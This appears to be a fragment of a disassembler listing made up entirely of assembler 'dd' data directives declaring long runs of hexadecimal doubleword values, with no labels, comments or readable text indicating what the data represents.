		dd 0E5EA4EC9h, 69B919DAh, 8AE91E5Fh, 8EAF4AB8h,	18E558D6h
		dd 0EB7905DFh, 53482628h, 0EBC317E7h, 70CBB0C4h, 33186809h
		dd 0C5DF6A46h
		dd 0F1531B0Ah, 0A63B0DC2h, 4F6CC692h, 0AF49C414h, 0CDC3B067h
		dd 0F0294FF2h, 694E6809h, 899F31B3h, 67519DE7h,	0AE80F793h
		dd 66FC5FBFh, 15CF68B1h, 0CCA851B7h, 0D9922322h, 56127697h
		dd 9727E912h, 64A76390h, 24289068h, 8257197Dh, 5F1E7B15h
		dd 2E4FC0F7h, 0CBB5CB5Bh, 57249ED0h, 6889A858h,	3ABAD7F4h
		dd 6A320B80h, 73BF7235h, 2BC00C32h, 5405BB0Ah, 531DE823h
		dd 0AA0AE1D3h, 51C9701Ah, 966007E9h, 0B46092FAh, 0EA01F8B0h
		dd 74D2E916h, 0B44EBDADh, 9BF586Ch, 146E02AAh, 2D52722Eh
		dd 32F58733h, 1E25324h,	236807E9h, 8F252866h, 0AB616953h
		dd 4C407F5Ch, 12F610F6h, 4B167D6Ah, 0BF712483h,	0C0ECE63Ch
		dd 3F78B840h, 407B502Dh, 7A498627h, 906054D8h, 0BFAB61D0h
		dd 0C56484EEh, 4FB06EDAh, 924E9451h, 0D07FA8C0h, 7D4C04E1h
		dd 0D7AB68E2h, 481D5282h, 0EFC08B7Ch, 4E6B3959h, 2FBA158h
		dd 750BF185h, 41771662h, 95825AE9h, 38A65564h, 56607FD4h
		dd 0AA3545E9h, 7FBAEAE1h, 7C5AC1F0h, 8DF29A85h,	445368C5h
		dd 900BE9E3h, 3B480579h, 0B9428934h, 23D30CC1h,	1552CA6Bh
		dd 28B2D3Ah, 98774FE5h,	75CC01Bh, 0F594C44Dh, 0E6BD0058h
		dd 90695C48h, 0CF390B81h, 5381E4EAh, 60505B5Dh,	7112480Ah
		dd 0F5BB4F9Dh, 91E27B01h, 65CEED40h, 0C5177Eh, 322C82AEh
		dd 94072D29h, 353B347Ch, 5FCA5912h, 9D87D588h, 0A0AEC1h
		dd 0A0486AF1h, 0CA7A316Eh, 0D13E9132h, 0FA50D7C6h, 5DB65F5Ah
		dd 0BA706D17h, 7EBC99h,	490B1615h, 7502BD24h, 0E928965Eh
		dd 13BF7882h, 0AEE3885Bh, 4BCC95E0h, 5E582593h,	0F4A1D368h
		dd 2FB9E29Fh, 4E9C7252h, 18DE159h, 7D867E9h, 4BAEFA9h
		dd 0CF31D7E9h, 58805E71h, 1661BA68h, 0C58794Ah,	0D8252B0Eh
		dd 15B0665Fh, 203B4102h, 195F1067h, 5E972B8Ch, 0E921282Ch
		dd 0CF5ED12Ch, 0B4047792h, 91A45A07h, 0AD11089Dh, 0C7802135h
		dd 4B576220h, 1E7A29E9h, 4A8F02CBh, 0B94067AAh,	49EE429Fh
		dd 871DD176h, 0CFB0E9DEh, 133B41BDh, 52557CA1h,	2A49BF58h
		dd 0CA9D855Eh, 48878CE0h, 65051BCFh, 0FE8E239Ch, 16FAF613h
		dd 0BBC825A8h, 5A4938Ch, 0E9375440h, 4BE1EAEDh,	0CE5DF4A7h
		dd 0FF844E74h, 4FD76DD8h, 7B2D317Fh, 0AFD207BCh, 5AFA7A63h
		dd 0BA1501A6h, 6EC455DDh, 0BC4BA8ECh, 3F6C1E75h, 5A8A562Fh
		dd 0C1132FFDh, 6A5E68CFh, 0D9B1312Bh, 60A83EC5h, 7EE8E499h
		dd 0B43BB899h, 0B97A0E7h, 0DCE70240h, 0EE2003B5h, 776842BAh
		dd 0B42E6845h, 0C5C25312h, 0A08209D4h, 68011C35h, 0CC7B7BF6h
		dd 5B5A5729h, 4E0949D0h, 0A3589DDAh, 5EC010DDh,	0DEE9720Eh
		dd 20AB1DBh, 22248D17h,	0C57BC85Fh, 0DB3B131Ah,	42EAA102h
		dd 7AD5207Ch, 56FCBFD6h, 0B1BC1250h, 8E6887C8h,	0AF65952Bh
		dd 0E36EBA29h, 3CF54A4Ch, 79208740h, 7B6541FAh,	0F1F63ACh
		dd 4D9149C8h, 0B8C7AA24h, 3845588Dh, 9219C627h,	3EEBD3E2h
		dd 0C6004FCh, 1C307389h, 8390297Ch, 21E90880h, 0C5A7334Fh
		dd 14CBBB96h, 889541D3h, 6A66E9F5h, 5DB88E45h, 0C5E036E8h
		dd 534031E9h, 653804BEh, 0B80957A3h, 5F0B7F7Dh,	4780B37h
		dd 0CCAFFD0Eh, 0C00EA9Bh, 0F581659Dh, 4A724B26h, 4021BF3Ch
		dd 0B73A756Ch, 9368096Bh, 2AFDE602h, 20AA6FC2h,	71BD4130h
		dd 0C229874Dh, 7315E292h, 618276F4h, 72105EA5h,	0A8EB0500h
		dd 0BEFC1DD2h, 31B245C1h, 0E3685100h, 62CD5216h, 0AF40068Dh
		dd 3C4E5758h, 3A5DE92Ch, 2FF13128h, 77DB4F90h, 0E90BFBABh
		dd 5942248Ch, 9B7DE8AEh, 0B8EF5BA2h, 0EBF2B7CCh, 441E7F08h
		dd 2682A884h, 0B03796C8h, 0E9B05EB7h, 8DA94989h, 0ED8E9C20h
		dd 14A9B34h, 872844EFh,	73D7C884h, 7CBF5370h, 20D55A23h
		dd 9D2F804Ah, 548262Eh,	77044B80h, 0D486AC5Dh, 0B8C562ADh
		dd 0CC87FD19h, 28891F48h, 0F74F38A1h, 7F1761D7h, 43B93F17h
		dd 8E8192F6h, 69217584h, 0CBF70040h, 315EFDF6h,	486BA0F8h
		dd 40BA8098h, 64F4DA39h, 680716DEh, 0DD46B9A3h,	3988C020h
		dd 4409C981h, 0AF012146h, 6A25F6CAh, 346E94A1h,	55CBEA30h
		dd 5981E90Ch, 724D3F61h, 6CC586E8h, 0BAED0661h,	0C730D34h
		dd 0B7CFCB09h, 95B950BBh, 0C380C5B0h, 1DFBC94Eh, 2DE944F8h
		dd 3C0A94Fh, 37854E0Eh,	0E3305E5Bh, 0E90CD8E4h,	8C0BB762h
		dd 0B0F13C7Fh, 4E9D40CEh, 4560C1ECh, 40D1BB0Ch,	9D194895h
		dd 8C4F0138h, 0A70B3F6Fh, 0FD0970FDh, 0EFC04D32h, 0A53028DAh
		dd 62927057h, 0AD515FA7h, 7C9F0692h, 16AE56B3h,	9AD3022h
		dd 0B275EF4Fh, 8B0D0909h, 5D6A48BDh, 0B6681C52h, 6555256Dh
		dd 8A114B77h, 15CC2A53h, 0B3594EE2h, 4CB4805h, 8B0C6361h
		dd 0F75EB844h, 5ABD4A17h, 0D9E90799h, 752AA77Ah, 0CC76AAE1h
		dd 0C3FA30EEh, 5E16DD9Ch, 89F1DE13h, 2E38F5F8h,	14CAD5F6h
		dd 568FA762h, 0AA597104h, 392F6DE3h, 5E9F55D8h,	0ADAC225h
		dd 6A00BBFAh, 0EA817FBEh, 1D3579F8h, 0D9E94A60h, 7053E336h
		dd 4270036Bh, 0C495FE97h, 4E4EBC1Dh, 0FE8F08F7h, 9AAA1091h
		dd 3B88B802h, 0E1DF38CEh, 0A507AC37h, 0CE0FA8D5h, 28F24158h
		dd 5DD22CE8h, 274EC582h, 0BA050E0Bh, 95C27D36h,	2B057DD6h
		dd 72F82E18h, 17142A00h, 0D6E68106h, 6C1C782Ch,	4458F600h
		dd 982119E1h, 0A97F95E8h, 278FE30h, 0A8441608h,	451302FEh
		dd 0E45B37FBh, 0F5540942h, 0E7E35351h, 0CA098451h, 3FA82702h
		dd 660CC78Ch, 17927E09h, 81B05D59h, 35C915B3h, 6C9155EFh
		dd 0CFC720D1h, 0BE09AA09h, 44AF023h, 896EE85Ch,	0F3A9EFF9h
		dd 0EE6CBB4Ah, 25E013BEh, 3F00AFA4h, 0D46C3AB3h, 64F24831h
		dd 0AE2B5035h, 69BD3812h, 10FAF602h, 33410CD5h,	6F2D5D3Ah
		dd 4C68B2C0h, 0F9604812h, 0E9E4D016h, 0BDF485AFh, 0E5C5AD40h
		dd 907B3C05h, 6F8601DFh, 0F0E92890h, 39953B55h,	955D73E0h
		dd 6F60AF80h, 3CC16884h, 2C306B25h, 0C17F5561h,	1245EDh
		dd 9421E768h, 77766916h, 875840A5h, 0D1F713CDh,	0E313EE55h
		dd 2CEE9607h, 80EB3925h, 937175CDh, 0FD018713h,	520611Fh
		dd 15A55DBDh, 8616BE10h, 0ABCE95BEh, 0ED25AF44h, 73D45809h
		dd 4704958h, 0BAE9104Ch, 0B831BB79h, 0DA693E32h, 30544B16h
		dd 80D0B2BAh, 1F3DCA26h, 9BDC03Eh, 2A07634h, 1C447AD7h
		dd 2D1503ADh, 3C6F2922h, 685339DFh, 216307DDh, 9FBAD540h
		dd 0EC0CCAFCh, 0BF0578A7h, 0D001FCE8h, 0C2603D90h, 59B95118h
		dd 11AC0F0Dh, 0FE0732Dh, 3460E97Dh, 0C73C429Ah,	4C3317E5h
		dd 69600E58h, 96A6BF5Ch, 389F4825h, 824727AFh, 0BE4479F5h
		dd 16C85327h, 7E2601CDh, 770B7F1Eh, 520F99Dh, 35477068h
		dd 26F702B2h, 85C09567h, 3E1740F3h, 67AE418Fh, 6DE66023h
		dd 0E9162B13h, 43D36226h, 55ABB229h, 4AB47A00h,	585A521Ch
		dd 0FC847EB9h, 4CA2A972h, 57DC9E97h, 41AF4AF8h,	95E69F9Ah
		dd 7DA15179h, 529B3431h, 8BBDC6EEh, 340D7C8h, 0DAEB24DCh
		dd 95073D7h, 525530B6h,	753600D3h, 0E1815BFAh, 0FC6028E3h
		dd 296DF1CAh, 0A9414B69h, 60D41103h, 0ED87D35Ah, 6A014DCh
		dd 254F50D7h, 3617050Ch, 0C131D853h, 32E3FF5h, 0CD3B157h
		dd 9786C956h, 0E8869BDDh, 0B844C75Fh, 2B8B957Ch, 0A562955Fh
		dd 69144C74h, 0A0FC4EAAh, 1F70E879h, 0BA1366C9h, 0EFED58B5h
		dd 7E68A8F0h, 219B9559h, 0B2283DC8h, 395A2692h,	0C5C015A8h
		dd 2D49E179h, 0A9D68809h
		dd 8605C3Ch, 4ABB69F3h,	4C232B22h, 20C2A422h, 0DA81145Bh
		dd 0E4FC3A2Dh, 375F3475h, 0BB42C4A0h, 2BDE94F2h, 15460EDCh
		dd 0B2E3AE13h, 0A89CABD7h, 2BB02568h, 404180D2h, 105BF220h
		dd 3A0F1247h, 34A6121Eh, 0A306E686h, 5B8500BDh,	904199BDh
		dd 0D524314Dh, 317BC5Ah, 0EB091CE3h, 0F1628AE9h, 8134E05Dh
		dd 9310FE2h, 0EEC96643h, 54BBAFE0h, 16C10D12h, 59F43B00h
		dd 75317222h, 24DAE6CBh, 4E4C5EE9h, 0FB2F13C4h,	23C89561h
		dd 8843AE4Dh, 0B7849E52h, 0B40B8650h, 0D6FE8A32h, 0DE2D7091h
		dd 49743F14h, 70528C3h,	14DDBE82h, 77659584h, 0A510452Dh
		dd 0B53E945Fh, 0EFA40A7Ch, 680AD210h, 89C36A36h, 0BE7C880Eh
		dd 3E54AD82h, 2BE1FF08h, 49287A50h, 3BB0A68h, 168A70BAh
		dd 584681AEh, 0E4CFDD80h, 12D320B5h, 503E7DACh,	2886C30Eh
		dd 41E48A7Fh, 1F48BB98h, 2C1D9C10h, 46895D29h, 495155CCh
		dd 0FDC60C2h, 7D99EE60h, 0E2977A1Ch, 5956B2E6h,	64FFA5C9h
		dd 22A030EEh, 5A1C2C3Eh, 0CAABFBE7h, 0D204D881h, 1E78C9FFh
		dd 0BB59B570h, 3C8A88F1h, 18F35B16h, 0F0B15427h, 85A23F53h
		dd 231360D1h, 5D369244h, 0D4809C60h, 42481726h,	28E4AD13h
		dd 0B0339253h, 0CECB2A8Bh, 0C9FBB088h, 0EE12B887h, 511F50D4h
		dd 0D1C08F93h, 2688202Dh, 2D01162Ch, 0AFB82120h, 0D4B05EB0h
		dd 301CC705h, 0C8FD0A48h, 6A680841h, 6472AEA4h,	5D3CE152h
		dd 0FED7052Eh, 924FEAC7h, 62AB86DBh, 2D6C94E1h,	552309FFh
		dd 0E92E2CB4h, 4DA8F46Bh, 0F45AB827h, 3DC252B8h, 24E7CC75h
		dd 68BA5998h, 8D12CDBh,	56013045h, 2DC0BE66h, 0BDA9E3D2h
		dd 0DC02E8C3h, 18092781h, 0CD470B81h, 0A733D8E9h, 0C945754Ch
		dd 5F218689h, 3F699D94h, 46FBD681h, 5E512972h, 0C0EC6EB6h
		dd 9D04EE5Ah, 46FAF7F2h, 0C297BB6h, 5413E097h, 39A02710h
		dd 0E98712F4h, 0DD094CBBh, 503CE14Ch, 0E4D003B4h, 9856EC80h
		dd 58FE01F4h, 951679CCh, 0D448B9D6h, 0A77327C5h, 0D722DF11h
		dd 690DDC47h, 1F0AA2FFh, 0FC91FF8Fh, 65ADA94Bh,	63052BC2h
		dd 88E7F316h, 90353002h, 133F0B20h, 23574D80h, 1DAF2883h
		dd 0C9DDF744h, 0F0DA55B7h, 5FCF1C30h, 3D67A6EEh, 0ADAC1739h
		dd 895787ADh, 0C8DD29EFh, 0B854557Dh, 8BBA00ACh, 0E96EC93Ah
		dd 0C5BDC2B3h, 0C33109C4h, 2BEEB880h, 0AFA3510Ch, 0B7322888h
		dd 88FB0132h, 0A8AD7C71h, 0BB7EB783h, 932DB328h, 31C9A2D6h
		dd 4E4602DCh, 0CE812040h, 93ACC0Ch, 0B2DB864h, 299B5AE8h
		dd 0B1EDD740h, 28F85607h, 0E1AD20E9h, 9BA575DAh, 0E0FBB5Bh
		dd 96D67957h, 284A5830h, 16063558h, 919574E9h, 282A8220h
		dd 97A5C597h, 4E22F036h, 0EBA4D3A4h, 0FC647F8h,	0B460B1F6h
		dd 35D0F517h, 299E2FF6h, 0FC9FE350h, 90E950FDh,	0E7BF2CBAh
		dd 62ABAC22h, 74557AF1h, 1B86EF81h, 0B80CB9FAh,	164B2F9Eh
		dd 25DA4A95h, 0AF81C5EAh, 47F3D7D7h, 533E2676h,	0DF8A1A6Bh
		dd 159F03F5h, 5F1C2D0Eh, 32741EDFh, 0FD5FD8BFh,	9E201243h
		dd 8696BDB1h, 3D92B91Dh, 0BE922C5h, 0EA80AD45h,	0D32A81F8h
		dd 5457318Ch, 0A5AFA14Dh, 829D56EBh, 3CFA280Eh,	0EBD77642h
		dd 0F368F8C8h, 4C83A813h, 0EAC5D22Dh, 101C0F09h, 2651BAF3h
		dd 8F22513h, 0FD24AC7Ch, 0E076990Bh, 80583848h,	0FF9DAEB5h
		dd 0C15EC4A4h, 3578ED63h, 0E464C157h, 527DCE01h, 3C04BA1Fh
		dd 0F12C8264h, 0CA85EC13h, 0A3DA3CEEh, 51256C4Fh, 6CC1CEBAh
		dd 179AE4CDh, 0E88DDDC5h, 0DA247383h, 5549B45Bh, 1EF95440h
		dd 0E1D85995h, 31052D66h, 67042EC4h, 0BE17409Ch, 0F2C99E45h
		dd 0F81B75EFh, 9568830Ch, 0BDBE8429h, 0BF5CACADh, 3A8039F3h
		dd 813B214Dh, 2F2D79E6h, 0D1D42F7Fh, 2C6D84BCh,	2CAA4DA6h
		dd 5430CABCh, 60F5728Ch, 0EC26E01Eh, 5E1C71C5h,	5C41FB90h
		dd 67AB1338h, 179E0630h, 0ABF2365Ch, 7C688102h,	6074763Fh
		dd 659D1983h, 5BDE3117h, 0FCE95F42h, 4020F55Dh,	35D8F702h
		dd 8C85E407h, 7FB9310Eh, 0BD079652h, 0E217DCB0h, 0B39171A4h
		dd 0E54C6857h, 2B5861CCh, 201C665Ah, 754BCA32h,	0E8D792EDh
		dd 9DE9A0BAh, 0BF28C05Ah, 217E0168h, 87B95102h,	42401857h
		dd 39E70588h, 704CEAA2h, 4F9B4210h, 0D0B453AFh,	1479F623h
		dd 5C01191Bh, 9144E210h, 293F5B0Ch, 1FBC7FD7h, 8B5E10B1h
		dd 0DDBA42E1h, 0F05B764Eh, 0FC2FAAB1h, 31C2A4D0h, 0EABA7526h
		dd 0F56943F7h, 755437FBh, 17B45C5Ch, 53AD46E3h,	5545850Bh
		dd 4A0F8374h, 2A02CC25h, 78FEE29Fh, 0D67C958Dh,	0ADBD4BFBh
		dd 0BBA2A0FCh, 0BE00E3FFh, 0B449B3F5h, 83355ECAh, 0D9ABB785h
		dd 3FA93EB2h, 59FD8FA2h, 1D10C29Eh, 0C6C15E05h,	7DC21FE4h
		dd 0ABE8B8F9h, 0B6B2008h, 6675D089h, 8BB09DAAh,	489D8C38h
		dd 264EA026h, 0A72BFA94h, 9DEA9677h, 941314F7h,	781E89B8h
		dd 956CD5h, 32D34711h, 772AF525h, 0F3052402h, 5FDFACFDh
		dd 156F9B82h, 75ECB900h, 0AF515EFBh, 27C0441Ch,	0E92C7039h
		dd 0C68095EEh, 0CB80C3FEh, 0C706786Fh, 30F2DBF6h, 1E2CF3D4h
		dd 6FE3B1DEh, 933022BEh, 4ABB7B40h, 178F73D1h, 3503042h
		dd 0DB630D4Ch, 23E72200h, 0E92EB669h, 346F49B5h, 8C401616h
		dd 985E79E7h, 0BB1260FFh, 28246D77h, 11130675h,	0D709290Bh
		dd 0B5DF568h, 111B072Eh, 8E18DF02h, 1D03FD77h, 24EEF456h
		dd 0D96C641Ch, 52CB416Dh, 94B9A26Bh, 0AF405A8Fh, 0E24CCFF7h
		dd 49EFA054h, 6B3B3E7Fh, 410B0A4Ch, 1E006965h, 7616A12Eh
		dd 0FD29559Dh, 0C7314722h, 0B460BCF2h, 6783BEEBh, 24667A03h
		dd 0BB9E3639h, 0EDC98016h, 0D6F51CEEh, 0EB0CFD18h, 6903FE21h
		dd 0A75A1EAEh, 16175C59h, 0E4D46D68h, 24B29C16h, 0E7A91A4h
		dd 34C0048Ah, 1C685557h, 663C599Fh, 0B3E9584Eh,	0A2F6844Fh
		dd 2677910h, 0CF5125BDh, 0AC627555h, 0D6EE0355h, 0E9E68833h
		dd 450D62D4h, 0B9001B5Bh, 58D50B34h, 0B820A84Dh, 0B55DF740h
		dd 2B263159h, 89BDEA0Bh, 95C95896h, 66C9D35Ch, 84F9B57Fh
		dd 45E5F6EBh, 5282D22Bh, 0C1C1DBFFh, 5870B068h,	5F59E9A9h
		dd 0F8277525h, 6A1A771Ah, 5497B600h, 0E91319DBh, 0E3A4D49Bh
		dd 7609703Bh, 0E5EE0250h, 29ACB8A8h, 0A90960F7h, 0A45EB577h
		dd 829F76AFh, 26B8590Dh, 52B2C4FDh, 0EAB4E902h,	0BD5B94A7h
		dd 0E8AAA41Ah, 66928AA9h, 0F8AB01C4h, 0FDBAA44Bh, 0B7E9A168h
		dd 4A015E3Ch, 0EFC1D787h, 993AEC05h, 42B316C4h,	38476283h
		dd 0DE2ECB06h, 0A0E226CDh, 20F8BACEh, 0E097327Ah, 82A0C63Ah
		dd 2EF7BDFh, 15EC0A23h,	4663E901h, 40BAF23Eh, 0B913F4E3h
		dd 0BBB5BCDh, 31A00D9Ah, 921ABFBEh, 0DE4F137Ah,	9471A0Bh
		dd 27CE747Ch, 15D3E775h, 42389101h, 88BD5583h, 81F86846h
		dd 69057ECDh, 0BFE96539h, 7A4C4FF8h, 6E090CE5h,	7297EBBFh
		dd 12CE9470h, 0AC7F4D83h, 6BB33544h, 6882C58Bh,	3BF96708h
		dd 0FF00ADA4h, 84E98133h, 1FF20E6Dh, 0CB4FD931h, 30E9692Dh
		dd 769C52EDh, 0DAD69B2Fh, 6EE6DF19h, 4B5FCBF0h,	493FE041h
		dd 0C8ECFC78h, 0A5CE97EEh, 0B5B3598h, 256804E0h, 40460633h
		dd 0F66BD917h, 0FA8953EAh, 0A8813493h, 9D537E8Fh, 0F55803F8h
		dd 12F54C43h, 97FC5EF1h, 6C6D5AB1h, 6852C143h, 0F36F77FEh
		dd 89095CAFh, 0B3CC7F5Ah, 0A85DE9F2h, 0BF04E56h, 9E35F2D3h
		dd 0F1291D85h, 7A537322h, 2768A838h, 0BF46608Fh, 2C6BC020h
		dd 925612Ch, 0E55857B6h
		dd 0F69AEE39h, 0D66FA178h, 1CC64104h, 0D122F028h, 0FFC7D5D3h
		dd 5C0D6982h, 224B51AFh, 0C8F50322h, 14AA15Bh, 5A2A710Ch
		dd 2C46E960h, 80D05A86h, 60D94F48h, 2F530C40h, 0E91C035Bh
		dd 7F2557E1h, 68D877BBh, 3D270BB2h, 1125C21h, 69747F8h
		dd 4BE33829h, 3F04E1h, 556FF169h, 0FB5089FEh, 57D8DECDh
		dd 9E2E0B0Ch, 0EFE46BE5h, 0E84D90FCh, 766812C2h, 0DE1BECh
		dd 68E3F8Dh, 0CE4C2AE9h, 58C7A14Bh, 4AC9D070h, 2E2F8849h
		dd 56090F25h, 7ED1434h,	44C05930h, 6B581C47h, 37A1001Bh
		dd 43E97DC3h, 165E9B1Dh, 0EB8FC4F3h, 0E90981DFh, 4E577EC4h
		dd 284930DAh, 0B63C2D14h, 9064A028h, 2C05DC97h,	5F6710AEh
		dd 6A3A06EFh, 0C2914730h, 0E17D008h, 0EB45DD31h, 87868855h
		dd 26FD70EFh, 0DD163F92h, 320B9B6Fh, 0B2AED70Bh, 0F94677C5h
		dd 0A2F4505Bh, 853CD1BFh, 0D4490671h, 0C807136Fh, 184FE933h
		dd 0E12A43E1h, 0A5302D64h, 2A2E26AFh, 0F390F701h, 0F8016A77h
		dd 0B5EBAB45h, 9AEC3EC7h, 4C59297Bh, 53644FAEh,	0E4BA0054h
		dd 0B0631A16h, 4D014C73h, 0D84DE117h, 4540D834h, 2DE972Dh
		dd 0AAF22A3Dh, 3279839Fh, 0AF0E4A37h, 25001DAh,	0AE351833h
		dd 0CAD18E12h, 78ED5125h, 5E93B17h, 1028E2CBh, 58005DA7h
		dd 30BEEA81h, 38C1176Eh, 50756BFEh, 1A4FD46Fh, 142F1C08h
		dd 64E9082h, 2974BA60h,	6BA47391h, 5B36FF03h, 0D145CC2Ch
		dd 0B5114A1Ah, 28AF3985h, 0E50EA5F4h, 0EEED6168h, 0D82BEA88h
		dd 0D00EC2CBh, 166AB0E9h, 28508AEFh, 575BA46Bh,	165064BEh
		dd 6895200Ch, 0DEBC2BC6h, 2DC4E95Bh, 7C5CA28h, 0CB2AB9Ch
		dd 0D9F2FC15h, 7EB4BA0Eh, 0C2A41D93h, 5FB1685Ah, 0EF6CFAA4h
		dd 0FC516ECCh, 0CC1B4F71h, 42049912h, 0D0F710D3h, 69B24C81h
		dd 0E996C622h, 0DCE311BCh, 0FD72C625h, 2F665948h, 155D681Ch
		dd 0EB8880BBh, 68FEDCE4h, 0BD1281F7h, 38B92A12h, 99E6C02Fh
		dd 0E2A08D4Bh, 450988C5h, 682928D9h, 2D42C1FFh,	88DD1043h
		dd 25086Ch, 1674ED69h, 58C2B778h, 482FD83h, 91E91CB0h
		dd 0FD21CC40h, 0E0B0F4DFh, 0F9F15EF6h, 9FD751EDh, 6F01B917h
		dd 0CD29AD46h, 7DFEB361h, 5E928B67h, 0AE4B058Fh, 0BBBF8F20h
		dd 461C1267h, 97F004Fh,	21062607h, 796858B7h, 893302BDh
		dd 18D5E970h, 9817EEFFh, 201A2C45h, 0FCC29A8Dh,	7ED8F8D7h
		dd 63942D58h, 0C140955Ch, 0BE641579h, 45A03039h, 6759A122h
		dd 0D1892FE7h, 0E87C69F8h, 5742A524h, 68400F3Dh, 0BB665DCh
		dd 4B5F45F6h, 0FAB537ECh, 0C3106DA2h, 0F38101E3h, 4FE01EEFh
		dd 1453B670h, 0F3D8A24Dh, 0D0648A05h, 6DB1BE62h, 0C0100805h
		dd 270492D4h, 3500A44Ah, 7BAB3B08h, 180844B4h, 215C0175h
		dd 7A1C8BD9h, 849305F7h, 118E0708h, 977BE44h, 0B3D0037Dh
		dd 950F0568h, 0F777E402h, 0D08BDFDDh, 0B94759F3h, 72E0D6C9h
		dd 0D62715CEh, 3D824B51h, 112ADD54h, 4242BF91h,	2C45F00h
		dd 0ADB8F02Ch, 1C5B3040h, 2536C268h, 0A73AE57Dh, 5308E51Ch
		dd 90CA4E9h, 1384D131h,	0B1C41248h, 0EF11D5F8h,	4BBA4844h
		dd 6FE388AEh, 1C80D040h, 0C7FECDCEh, 8E07E6C0h,	9C81B16Bh
		dd 30F188D7h, 259A38D5h, 0EC41D0B7h, 0B82E7674h, 7B020BBAh
		dd 617331D1h, 0C182B324h, 635003E1h, 4CB1B42Dh,	4964C60h
		dd 6838E335h, 66C78340h, 50D71B05h, 3FDD01B8h, 6702F27Bh
		dd 788BE90Bh, 33579720h, 266EEB05h, 3BE0431Bh, 59B0305Bh
		dd 14B1F0Fh, 285014BCh,	8141015Bh, 976DDCF1h, 765DFA32h
		dd 9EB05276h, 6825C331h, 786A5702h, 0E24AFBDDh,	545FD141h
		dd 6EB04208h, 236961FFh, 8800F8C1h, 0C01758C1h,	0D3F106E1h
		dd 13BDA2CEh, 215E0155h, 0A68D2FF9h, 5ABCDFF2h,	78E55133h
		dd 0A043DA68h, 5B35BA58h, 7B50B70Eh, 9D4C760Ch,	13650C0Ah
		dd 21C6A45h, 8310FF3Bh,	809F158h, 7AA25FE9h, 1A7C4D4Ch
		dd 5CC15357h, 6A1D6668h, 0BE48AA31h, 52F15003h,	5EC16351h
		dd 0EC2B6EACh, 0E5253DC0h, 5A0F13C5h, 0F48003B4h, 2506259Dh
		dd 6570D9F2h, 0F059EC25h, 0CA3015F8h, 16502866h, 2D91B0D0h
		dd 0A59941A5h, 38B12F76h, 0F41ABC2Ah, 443B65A5h, 0FA3E6545h
		dd 0B9020CF7h, 5F9B19E6h, 81B9C374h, 5665B2Dh, 3EB8E9h
		dd 3C6853A0h, 177EE645h, 42FC5EEEh, 8DCAF3AAh, 0F32FB75Ch
		dd 646B0D88h, 98F68FFh,	16687850h, 49D19C51h, 82524B7Eh
		dd 9EC8DC4h, 24A865FFh,	3EEE019Ch, 304620C7h, 0F0950496h
		dd 0CEC6002Ch, 896B2C76h, 0B20E9F3h, 0D0B12456h, 89031E69h
		dd 1BD9AFD7h, 554A9A83h, 0E0C5C205h, 13C6EDEAh,	0BB886ECBh
		dd 0AAEEC363h, 2DB1F7F2h, 5A69305Dh, 0D18D099Dh, 0E0CA4C08h
		dd 158C2A5Ah, 45544007h, 0B4608D98h, 0F5B050Fh,	2977084Dh
		dd 0DC492DE8h, 0F8D713ACh, 8A68E311h, 5F5D4C19h, 5DA082F7h
		dd 69AC7C7Dh, 0F5871957h, 32AED255h, 0D17E8D62h, 0DFDA310Bh
		dd 4E093E0Fh, 0F528FBA2h, 6730FE57h, 0E9DF9080h, 66B706AFh
		dd 74232477h, 5F9989E6h, 92056D4Ch, 0D14C661Ch,	0D83279C2h
		dd 44B1A2A1h, 0ED84B5A5h, 0F1CEAA6Ch, 7297573Fh, 0A1EF3D6h
		dd 80698668h, 0CD7056Fh, 0F2A5DFACh, 9779C4EEh,	0AC2528E9h
		dd 0C5FD248Bh, 110E880Ch, 6991BA07h, 0E3A34A17h, 67B54831h
		dd 3716AA5Fh, 30E9632Ch, 313F737Eh, 11E9545h, 1FB1ED68h
		dd 0F07C0D6Ah, 4AEBF9D3h, 0EE2984EBh, 0AEA54FECh, 39AED91Eh
		dd 7D3722A7h, 30BB77ACh, 33359D9h, 208BDC89h, 12171250h
		dd 0FCCDDEE9h, 0FC740939h, 0DC25D38h, 565D0800h, 0D2B2F9E9h
		dd 742B629Fh, 0D2FA2DCEh, 0F5680FA8h, 5F7B3663h, 0ED910290h
		dd 3BA32F19h, 7E0290DFh, 0B8802488h, 0C0DD25ACh, 3BD801F4h
		dd 48FD3E05h, 1306F372h, 204AC208h, 6804DC9Bh, 4AB36CDEh
		dd 3DFA9401h, 3C50E96Bh, 0B1754DE2h, 0DE48492Dh, 15170CF5h
		dd 29C6B8Fh, 57D5F724h,	2B33CF01h, 0BA704774h, 58AF8CEh
		dd 0E9FD0966h, 213DF1B3h, 4BFD3BB4h, 52C5FE0Fh,	137D3BE4h
		dd 3F8066C5h, 4A182CC4h, 4B1CF820h, 0DDB131BCh,	0C0BE050Fh
		dd 68E1734Bh, 80DAF724h, 87251502h, 57356A01h, 9B80A862h
		dd 7D145CB7h, 0E1460F80h, 5E39BB2Eh, 0B2BABC2Fh, 9809D00Ch
		dd 0E3015A7Fh, 9F901A19h, 415F411Ah, 66967E25h,	88EF8227h
		dd 4AFEE258h, 0D9EEF84Ah, 2ABB2BC4h, 666401C7h,	60E90289h
		dd 97D1FBA0h, 54A98174h, 5FEA3142h, 18AAC838h, 0AF05E5A0h
		dd 3C415007h, 79AF801h,	5583A26h, 0CB1D0459h, 80D02911h
		dd 9868417Eh, 0E1600397h, 0B060EB66h, 0B07362CDh, 996C102h
		dd 31DD20E2h, 0E98585CCh, 0C58AA077h, 8705307Bh, 1761F617h
		dd 314F0E14h, 505127FAh, 5043BD22h, 20ECCBAAh, 3705509Eh
		dd 0F5FA0B17h, 5B08023Dh, 590139F5h, 8F30F67Bh,	0D46B6D3h
		dd 2F9929C5h, 0A06CCE8Dh, 2981282Fh, 0E1E70E9Fh, 745A2D0Ah
		dd 1B05D5DAh, 59070F05h, 0D6E9C101h, 3A182534h,	5F3E0AE8h
		dd 7FE8F8DBh, 8B0FBE4Fh, 7474B866h, 0F65A800Eh,	0D588D02Dh
		dd 4763D6B0h, 9CA88BB1h, 134D7920h, 82D90EBBh, 0C4EA01C9h
		dd 2F6214D5h, 9738750h,	0E6D35F1Eh, 832D9B4Fh, 0D141F17Ch
		dd 982C4C36h, 51DA879Bh, 1BB0D3E4h, 974DCD09h, 25F05D27h
		dd 30E90880h, 39013B2h,	62544707h, 269C16Ah, 201E5Eh, 742E805h
		dd 51E53E4Ah, 2791DEE4h, 478E61Fh, 319E8220h, 4CECE789h
		dd 0F7B600A1h
		dd 74FEB728h, 8B89FC6Bh, 0DE9456B3h, 0CC4BD5F6h, 0AAF408FCh
